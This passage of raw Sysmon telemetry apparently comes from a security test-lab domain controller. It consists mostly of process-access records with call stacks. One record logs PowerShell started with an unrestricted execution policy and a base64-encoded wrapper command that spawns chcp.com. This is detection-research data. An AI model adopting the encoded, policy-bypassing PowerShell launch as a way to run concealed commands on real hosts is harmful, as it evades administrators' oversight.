dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000254Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.580{A5F018FF-2899-5F80-FF02-000000007E01}12403984C:\Windows\system32\conhost.exe{A5F018FF-2899-5F80-0303-000000007E01}4996C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000253Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.580{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000252Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.580{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000251Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.580{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000250Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.580{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000249Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.580{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000248Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.580{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000247Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.580{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000246Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.580{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000245Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.580{A5F018FF-2724-5F80-0500-000000007E01}640656C:\Windows\system32\csrss.exe{A5F018FF-2899-5F80-0303-000000007E01}4996C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000244Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.580{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000243Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.580{A5F018FF-2899-5F80-0203-000000007E01}46924300C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2899-5F80-0303-000000007E01}4996C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+765732a9(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75a14133(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75a13e04(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+764c5469(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+759d499a(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75a32e69(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75a164ce(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75a164ce(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75a1635f(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75a082e4(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75a14817(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75a1440a(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75a14133(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75a13e04(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+764c5469(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+759fac65(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+759fa235(wow64) 154100x8000000000000000242Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.587{A5F018FF-2899-5F80-0303-000000007E01}4996C:\Windows\System32\chcp.com10.0.14393.0 (rs1_release.160715-1616)Change CodePage UtilityMicrosoft® Windows® Operating SystemMicrosoft CorporationCHCP.COM"C:\Windows\system32\chcp.com" 65001C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2899-5F80-038A-110000000000}0x118a030HighMD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD{A5F018FF-2899-5F80-0203-000000007E01}4692C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 10341000x8000000000000000241Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.565{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000240Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.565{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000239Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.565{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000238Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.518{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-2899-5F80-0203-000000007E01}4692C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000237Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.518{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-2899-5F80-0203-000000007E01}4692C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x8000000000000000236Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.487{A5F018FF-2899-5F80-0203-000000007E01}4692C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_p4zjvzzp.dif.ps12020-10-09 09:08:41.487 10341000x8000000000000000235Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.471{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2899-5F80-0203-000000007E01}4692C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000234Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.455{A5F018FF-2899-5F80-FF02-000000007E01}12403984C:\Windows\system32\conhost.exe{A5F018FF-2899-5F80-0203-000000007E01}4692C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000233Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.455{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000232Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 